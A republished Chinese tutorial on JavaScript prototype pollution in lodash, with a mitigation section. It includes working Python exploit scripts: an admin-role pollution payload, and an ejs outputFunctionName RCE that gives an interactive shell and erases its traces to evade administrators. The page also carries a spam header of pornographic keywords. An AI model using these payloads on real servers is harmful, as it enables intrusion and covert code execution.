日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
前端原型鏈污染漏洞竟可以拿下服務(wù)器shell?

作為前端開發(fā)者,某天偶然遇到了原型鏈污染漏洞,原本以為沒有什么影響,好奇心驅(qū)使下,抽絲剝繭,發(fā)現(xiàn)原型鏈污染漏洞竟然也可以拿下服務(wù)器的shell管理權(quán)限,不可不留意!

我們提供的服務(wù)有:成都網(wǎng)站建設(shè)、成都做網(wǎng)站、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、興賓ssl等。為上千家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的興賓網(wǎng)站制作公司

某天正奮力的coding,機(jī)器人給發(fā)了這樣一條消息

查看發(fā)現(xiàn)是一個(gè)叫“原型鏈污染”(Prototype chain pollution)的漏洞,還好這只是 dev 依賴,當(dāng)前功能下幾乎沒什么影響,其修復(fù)方式可以通過升級包版本即可。

“原型鏈污染”漏洞,看起來好高大上的名字,和“互聯(lián)網(wǎng)黑話”有得一拼,好奇心驅(qū)使下,抽絲剝繭地研究一番。

目前該漏洞影響了框架常用的有:

  • Lodash <= 4.15.11
  • Jquery < 3.4.0
  • ...

0x00 同學(xué)實(shí)現(xiàn)一下對象的合并?

面試官讓被面試的同學(xué)寫個(gè)對象合并,該同學(xué)一聽這問題,就這,就這,30s就寫好了一份利用遞歸實(shí)現(xiàn)的對象合并,代碼如下:

 
 
 
  1. function merge(target, source) { 
  2.     for (let key in source) { 
  3.         if (key in source && key in target) { 
  4.             merge(target[key], source[key]) 
  5.         } else { 
  6.             target[key] = source[key] 
  7.         } 
  8.     } 

可是面試的同學(xué)不知道,他實(shí)現(xiàn)的代碼,會埋下一個(gè)原型鏈污染的漏洞,大家下次面試新同學(xué)的時(shí)候,可以問問了。

為啥會有原型鏈污染漏洞?

那么接下來,我們一起深入淺出地認(rèn)識一下原型鏈漏洞,以便于在日常開發(fā)過程中就規(guī)避掉這些可能的風(fēng)險(xiǎn)。

0x01 JavaScript中的原型鏈

1.1 基本概念

在javaScript中,實(shí)例對象與原型之間的鏈接,叫做原型鏈。其基本思想是利用原型讓一個(gè)引用類型繼承另一個(gè)引用類型的屬性和方法。然后層層遞進(jìn),就構(gòu)成了實(shí)例與原型的鏈條,這就是所謂原型鏈的基本概念。

三個(gè)名詞:

隱式原型:所有引用類型(函數(shù)、數(shù)組、對象)都有 __proto__ 屬性,例如arr.__proto__

顯式原型:所有函數(shù)擁有prototype屬性,例如:func.prototype

原型對象:擁有prototype屬性的對象,在定義函數(shù)時(shí)被創(chuàng)建

原型鏈之間的關(guān)系可以參考圖1.1:

圖1.1 原型鏈關(guān)系圖

1.2 原型鏈查找機(jī)制

當(dāng)一個(gè)變量在調(diào)用某方法或?qū)傩詴r(shí),如果當(dāng)前變量并沒有該方法或?qū)傩?,就會在該變量所在的原型鏈中依次向上查找是否存在該方法或?qū)傩裕绻袆t調(diào)用,否則返回undefined

1.3 哪里會用到

在開發(fā)中,常常會用到 toString()、valueOf()等方法,array類型的變量擁有更多的方法,例如forEach()、map()、includes()等等。例如聲明了一個(gè)arr數(shù)組類型的變量,arr變量卻可以調(diào)用如下圖中并未定義的方法和屬性。

通過變量的隱式原型可以查看到,數(shù)組類型變量的原型中已經(jīng)定義了這些方法。例如某變量的類型是Array,那么它就可以基于原型鏈查找機(jī)制,調(diào)用相應(yīng)的方法或?qū)傩浴?/p>

1.4 風(fēng)險(xiǎn)點(diǎn)分析&原型鏈污染漏洞原理

首先看一個(gè)簡單的例子:

 
 
 
  1. var a = {name: 'dyboy', age: 18}; 
  2. a.__proto__.role = 'administrator' 
  3. var b = {} 
  4. b.role    // output: administrator 

實(shí)際運(yùn)行結(jié)果如下:

運(yùn)行結(jié)果

可以發(fā)現(xiàn),給隱式原型增加了一個(gè)role的屬性,并且賦值為administrator(管理員)。在實(shí)例化一個(gè)新對象b的時(shí)候,雖然沒有role屬性,但是通過原型鏈可以讀取到通過對象a在原型鏈上賦值的‘a(chǎn)dministrator’。

問題就來了,__proto__指向的原型對象是可讀可寫的,如果通過某些操作(常見于merge,clone等方法),使得黑客可以增、刪、改原型鏈上的方法或?qū)傩?,那么程序就可能會因原型鏈污染而受到DOS、越權(quán)等攻擊

0x02 Demo演示 & 組合拳

2.1 Demo演示

Demo使用koa2來實(shí)現(xiàn)的服務(wù)端:

 
 
 
  1. const Koa = require("koa"); 
  2. const bodyParser = require("koa-bodyparser"); 
  3. const _ = require("lodash"); 
  4.  
  5. const app = new Koa(); 
  6. app.use(bodyParser()); 
  7.  
  8. // 合并函數(shù) 
  9. const combine = (payload = {}) => { 
  10.   const prefixPayload = { nickname: "bytedanceer" }; 
  11.   // 用法可參考:https://lodash.com/docs/4.17.15#merge 
  12.   _.merge(prefixPayload, payload); 
  13.   // 另外其他也存在問題的函數(shù):merge defaultsDeep mergeWith 
  14. }; 
  15.  
  16. app.use(async (ctx) => { 
  17.   // 某業(yè)務(wù)場景下,合并了用戶提交的payload 
  18.   if(ctx.method === 'POST') { 
  19.     combine(ctx.request.body); 
  20.   } 
  21.   // 某頁面某處邏輯 
  22.   const user = { 
  23.     username: "visitor", 
  24.   }; 
  25.   let welcomeText = "同學(xué),游泳健身,了解一下?"; 
  26.   // 因user.role不存在,所以恒為假(false),其中代碼不可能執(zhí)行 
  27.   if (user.role === "admin") { 
  28.     welcomeText = "尊敬的VIP,您來啦!"; 
  29.   } 
  30.   ctx.body = welcomeText; 
  31. }); 
  32. app.listen(3001, () => { 
  33.   console.log("Running: http://localohost:3001"); 
  34. }); 

當(dāng)一個(gè)游客用戶訪問網(wǎng)址:http://127.0.0.1:3001/ 時(shí),頁面會顯示“同學(xué),游泳健身,了解一下?”

可以看到在代碼中使用了loadsh(4.17.10版本)的merge()函數(shù),將用戶的payload和prefixPayload做了合并。

乍一看,似乎并沒有什么問題,對于業(yè)務(wù)似乎也不會產(chǎn)生什么問題,無論用戶訪問什么都應(yīng)該只會返回“同學(xué),游泳健身,了解一下?”這句話,程序上user.role是一個(gè)恒為為undefined的條件,則永遠(yuǎn)不會執(zhí)行if判斷體中的代碼。

然而使用特殊的payload測試,也就是運(yùn)行一下我們的attack.py腳本

當(dāng)我們再訪問http://127.0.0.1:3001時(shí),會發(fā)現(xiàn)返回的結(jié)果如下:

瞬間變成了健身房的VIP對吧,可以快樂白嫖了?此時(shí),無論什么用戶訪問這個(gè)網(wǎng)址,返回的網(wǎng)頁都會是顯示如上結(jié)果,人人VIP時(shí)代。如果是咱寫的代碼在線上出現(xiàn)這問題,【事故通報(bào)】了解一下。

attact.py 的代碼如下:

 
 
 
  1. import requests 
  2. import json 
  3. req = requests.Session() 
  4. target_url = 'http://127.0.0.1:3001' 
  5. headers = {'Content-type': 'application/json'} 
  6. # payload = {"__proto__": {"role": "admin"}} 
  7. payload = {"constructor": {"prototype": {"role": "admin"}}} 
  8. res = req.post(target_url, data=json.dumps(payload),headers=headers) 
  9. print('攻擊完成!') 

攻擊代碼中的payload:{"constructor": {"prototype": {"role": "admin"}}} 通過merge()函數(shù)實(shí)現(xiàn)合并賦值,同時(shí),由于payload設(shè)置了constructor,merge時(shí)會給原型對象增加role屬性,且默認(rèn)值為admin,所以訪問的用戶變成了“VIP”

2.2 分析一下loadsh中merge函數(shù)的實(shí)現(xiàn)

分析的lodash版本4.17.10(感興趣的同學(xué)可以拿到源碼自己手動追溯)node_modules/lodash/merge.js中通過調(diào)用了baseMerge(object, source, srcIndex)函數(shù) 則定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge函數(shù)

 
 
 
  1. function baseMerge(object, source, srcIndex, customizer, stack) { 
  2.   if (object === source) { 
  3.     return; 
  4.   } 
  5.   baseFor(source, function(srcValue, key) { 
  6.     // 如果合并的屬性值是對象 
  7.     if (isObject(srcValue)) { 
  8.       stack || (stack = new Stack); 
  9.       // 調(diào)用 baseMerge 
  10.       baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack); 
  11.     } 
  12.     else { 
  13.       var newValue = customizer 
  14.         ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack) 
  15.         : undefined; 
  16.       if (newValue === undefined) { 
  17.         newValue = srcValue; 
  18.       } 
  19.       assignMergeValue(object, key, newValue); 
  20.     } 
  21.   }, keysIn); 

關(guān)注到safeGet的函數(shù):

 
 
 
  1. function safeGet(object, key) { 
  2.   return key == '__proto__' 
  3.     ? undefined 
  4.     : object[key]; 

這也是為什么上面的payload為什么沒使用__proto__而是使用了等同于這個(gè)屬性的構(gòu)造函數(shù)的prototype

有payload是一個(gè)對象因此定位到node_modules/lodash/_baseMergeDeep.js第32行:

 
 
 
  1. function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) { 
  2.   var objValue = safeGet(object, key), 
  3.       srcValue = safeGet(source, key), 
  4.       stacked = stack.get(srcValue); 
  5.   if (stacked) { 
  6.     assignMergeValue(object, key, stacked); 
  7.     return; 
  8.   } 

定位函數(shù)assignMergeValue 于 node_modules/lodash/_assignMergeValue.js第13行

 
 
 
  1. function assignMergeValue(object, key, value) { 
  2.   if ((value !== undefined && !eq(object[key], value)) || 
  3.       (value === undefined && !(key in object))) { 
  4.     baseAssignValue(object, key, value); 
  5.   } 

再定位baseAssignValue于node_modules/lodash/_baseAssignValue.js第12行

 
 
 
  1. function baseAssignValue(object, key, value) { 
  2.   if (key == '__proto__' && defineProperty) { 
  3.     defineProperty(object, key, { 
  4.       'configurable': true, 
  5.       'enumerable': true, 
  6.       'value': value, 
  7.       'writable': true 
  8.     }); 
  9.   } else { 
  10.     object[key] = value; 
  11.   } 

繞過了if判斷,然后進(jìn)入else邏輯中,是一個(gè)簡單的直接賦值操作,并未對constructor和prototype進(jìn)行判斷,因此就有了:

 
 
 
  1. prefixPayload = { nickname: "bytedanceer" }; 
  2. // payload:{"constructor": {"prototype": {"role": "admin"}}} 
  3. _.merge(prefixPayload, payload); 
  4. // 然后就給原型對象賦值了一個(gè)名為role,值為admin的屬性 

故而導(dǎo)致了用戶會進(jìn)入一個(gè)不可能進(jìn)入的邏輯里,也就造成了上面出現(xiàn)的“越權(quán)”問題。

2.3 漏洞組合拳,拿下服務(wù)器權(quán)限

從上面的Demo案例中,你可能會有種錯(cuò)覺:原型鏈漏洞似乎并沒有什么太大的影響,是不是不需要特別關(guān)注(相較于sql注入,xss,csrf等漏洞)。

真的是這樣嗎?來看一個(gè)稍微修改了的另一個(gè)例子(增加使用了ejs渲染引擎),以原型鏈污染漏洞為基礎(chǔ),我們一起拿下服務(wù)器的shell!

 
 
 
  1. const express = require('express'); 
  2. const bodyParser = require('body-parser'); 
  3. const lodash = require('lodash'); 
  4. const app = express(); 
  5. app 
  6.     .use(bodyParser.urlencoded({extended: true})) 
  7.     .use(bodyParser.json()); 
  8. app.set('views', './views'); 
  9. app.set('view engine', 'ejs'); 
  10. app.get("/", (req, res) => { 
  11.     let title = '游客你好'; 
  12.     const user = {}; 
  13.     if(user.role === 'vip') { 
  14.         title = 'VIP你好'; 
  15.     } 
  16.     res.render('index', {title: title}); 
  17. }); 
  18. app.post("/", (req, res) => { 
  19.     let data = {}; 
  20.     let input = req.body; 
  21.     lodash.merge(data, input); 
  22.     res.json({message: "OK"}); 
  23. }); 
  24. app.listen(8888, '0.0.0.0'); 

該例子基于express+ejs+lodash,同理,訪問localhost:8888也是只會顯示游客你好,同上可以使用原型鏈攻擊,使得“人人VIP”,但不僅限于此,我們還可以深入利用,借助ejs的渲染以及包含原型鏈污染漏洞的lodash就可以實(shí)現(xiàn)RCE(Remote Code Excution,遠(yuǎn)程代碼執(zhí)行)

先看看我們可以實(shí)現(xiàn)的攻擊效果:

可以看到,借助attack.py腳本,我們可以執(zhí)行任意的shell命令,于此同時(shí)我們還保證了不會影響其他用戶(管理員無法輕易感知入侵),在接下來的情況黑客就會常識性地進(jìn)行提權(quán)、權(quán)限維持、橫向滲透等攻擊,以獲取更大利益,但與此同時(shí),也會給企業(yè)帶來更大損失。

上面的攻擊方法,是基于loadsh的原型鏈污染漏洞和ejs模板渲染相配合形成的代碼注入,進(jìn)而形成危害更大的RCE漏洞。

接下來看看形成漏洞的原因:

1.打斷點(diǎn)調(diào)試render方法

2.進(jìn)入render方法,將options和模板名傳給app.render()

3.獲取到對應(yīng)的渲染引擎ejs

4.進(jìn)入一個(gè)異常處理

5.繼續(xù)

6.通過模板文件渲染

7.處理緩存,這個(gè)函數(shù)也沒啥可以利用的地方

8.終于來到模板編譯的地方了

9.繼續(xù)沖

10.終于進(jìn)入ejs庫里了

在這個(gè)文件當(dāng)中,發(fā)現(xiàn)第578行的opts.outputFunctionName是一undefined的值,如果該屬性值存在,那么就拼接到變量prepended中,之后的第597行可以看到,作為了輸出源碼的一部分

在697行,將拼接的源碼,放到了回調(diào)函數(shù)中,然后返回該回調(diào)函數(shù)

11.在tryHandleCache中調(diào)用了該回調(diào)函數(shù)

最后完成了渲染輸出到客戶端。

可以發(fā)現(xiàn)在第10步驟中,第578行的opts.outputFunctionName是一undefined的值,我們通過對象原型鏈賦值一個(gè)js代碼,那么它就會拼接到代碼中(代碼注入),并且在模版渲染的過程中會執(zhí)行該js代碼。

在nodejs環(huán)境下,可以借助其可調(diào)用系統(tǒng)方法代碼拼接到該渲染回調(diào)函數(shù)中,作為函數(shù)體傳遞給回調(diào)函數(shù),那么就可以實(shí)現(xiàn)遠(yuǎn)程任意代碼執(zhí)行,也就是上面演示的效果,用戶可以執(zhí)行任意系統(tǒng)命令。

2.4 優(yōu)雅地實(shí)現(xiàn)一個(gè)攻擊腳本

優(yōu)雅的地方就在于,讓管理員和其他用戶基本不會有感知,能夠偷偷摸摸拿下服務(wù)器的shell。

Exploit完整腳本如下:

 
 
 
  1. import requests 
  2. import json 
  3.  
  4. req = requests.Session() 
  5.  
  6. target_url = 'http://127.0.0.1:8888' 
  7.  
  8. headers = {'Content-type': 'application/json'} 
  9.  
  10. # 無效攻擊 
  11. # payload = {"__proto__": {"role": "vip"}} 
  12.  
  13. # 普通的邏輯攻擊 
  14. payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}} 
  15.  
  16. # RCE攻擊 
  17. # payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}} 
  18.  
  19. # 反彈shell,比如反彈到MSF/CS上 
  20.  
  21. # 模擬一個(gè)交互式shell 
  22. if __name__ == "__main__": 
  23.     payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}' 
  24.     while(True): 
  25.         shell = input('shell: ') 
  26.         if shell == '': 
  27.             continue 
  28.         if shell == 'exit': 
  29.             break 
  30.         formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //" 
  31.         payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}} 
  32.  
  33.         res = req.post(target_url, data=json.dumps(payload),headers=headers) 
  34.  
  35.         res2 = req.get(target_url) 
  36.  
  37.         print(res2.text) 
  38.  
  39.         # 處理痕跡 
  40.         formatStr = "a; return delete Object.prototype['outputFunctionName']; //" 
  41.         payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}} 
  42.         res = req.post(target_url, data=json.dumps(payload),headers=headers) 
  43.         req.get(target_url) 

0x03 如何規(guī)避或修復(fù)漏洞

3.1 可能存在漏洞的場景

  • 對象克隆
  • 對象合并
  • 路徑設(shè)置

3.2 如何規(guī)避

首先,原型鏈的漏洞其實(shí)需要攻擊者對于項(xiàng)目工程或者能夠通過某些方法(例如文件讀取漏洞)獲取到源碼,攻擊的研究成本較高,一般不用擔(dān)心。但攻擊者可能會通過一些腳本進(jìn)行批量黑盒測試,或借助某些經(jīng)驗(yàn)或規(guī)律,便可降低研究成本,所以也不能輕易忽略此問題。

  1. 及時(shí)升級包版本:公司的研發(fā)體系中,安全運(yùn)維參與整個(gè)過程,在打包等操作時(shí),會自動觸發(fā)安全檢測,其實(shí)就提醒了開發(fā)者可能存在有風(fēng)險(xiǎn)的三方包,這就需要大家及時(shí)升級對應(yīng)的三方包到最新版,或者嘗試替換更加安全的包。
  2. 關(guān)鍵詞過濾:結(jié)合漏洞可能存在場景,可多關(guān)注下對象拷貝和合并等代碼塊,是否針對__proto__、constructor和prototype關(guān)鍵詞做過濾。
  3. 使用hasOwnProperty來判斷屬性是否直接來自于目標(biāo),這個(gè)方法會忽略從原型鏈上繼承到的屬性。
  4. 在處理 json 字符串時(shí)進(jìn)行判斷,過濾敏感鍵名。
  5. 使用 Object.create(null) 創(chuàng)建沒有原型的對象。
  6. 用Object.freeze(Object.prototype)凍結(jié)Object的原型,使Object的原型無法被修改,注意該方法是一個(gè)淺層凍結(jié)。

0x04 問題 & 探索

4.1 更多問題

Q:為什么在demo案例中payload中不用__proto__?

A:在我使用的loadsh庫4.17.10版本中,發(fā)現(xiàn)針對__proto__關(guān)鍵詞做了判斷和過濾,因此想到了通過訪問構(gòu)造函數(shù)的prototype的方式繞過

Q:在Demo中,為什么被攻擊后,任意用戶訪問都是VIP身份了?

A:JavaAcript是單線程執(zhí)行程序的,所以原型鏈上的屬性相當(dāng)于是global,所有連接的用戶都共享,當(dāng)某個(gè)用戶的操作改變了原型鏈上的內(nèi)容,那么所有訪問者訪問程序的都是基于修改之后的原型鏈

4.2 探索

作為安全研究人員,上面演示的原型鏈漏洞看似威脅并不大,但實(shí)際上黑客的攻擊往往是漏洞的組合,當(dāng)一個(gè)輕危級別的漏洞,作為高危漏洞的攻擊的基礎(chǔ),那么低危漏洞還能算是低危漏洞嗎?這更需要安全研究人員,不僅要追求對高危漏洞的挖掘,還得增強(qiáng)對基礎(chǔ)漏洞的探索意識。

作為開發(fā)人員,我們可以嘗試下,如何借助工具快速檢測程序中是否存在原型鏈污染漏洞,以期望加強(qiáng)企業(yè)程序的安全性。幸運(yùn)的是,在公司內(nèi)部已經(jīng)通過編譯平臺做了一些安全檢查,大家可以加強(qiáng)對于安全的關(guān)注度。

原型鏈污染的利用難度雖然較大,但是基于其特性,所有的開源庫都在npm上可以看到,如果惡意的黑客,通過批量檢測開源庫,并且通過搜集特征,那么他想要獲取攻擊目標(biāo)程序的是否引用具有漏洞的開源庫也并非是一件困難的事情。

那么我們自己寫一個(gè)腳本去Github上刷一波,也不是不行...


當(dāng)前標(biāo)題:前端原型鏈污染漏洞竟可以拿下服務(wù)器shell?
URL分享:http://www.dlmjj.cn/article/dphdiec.html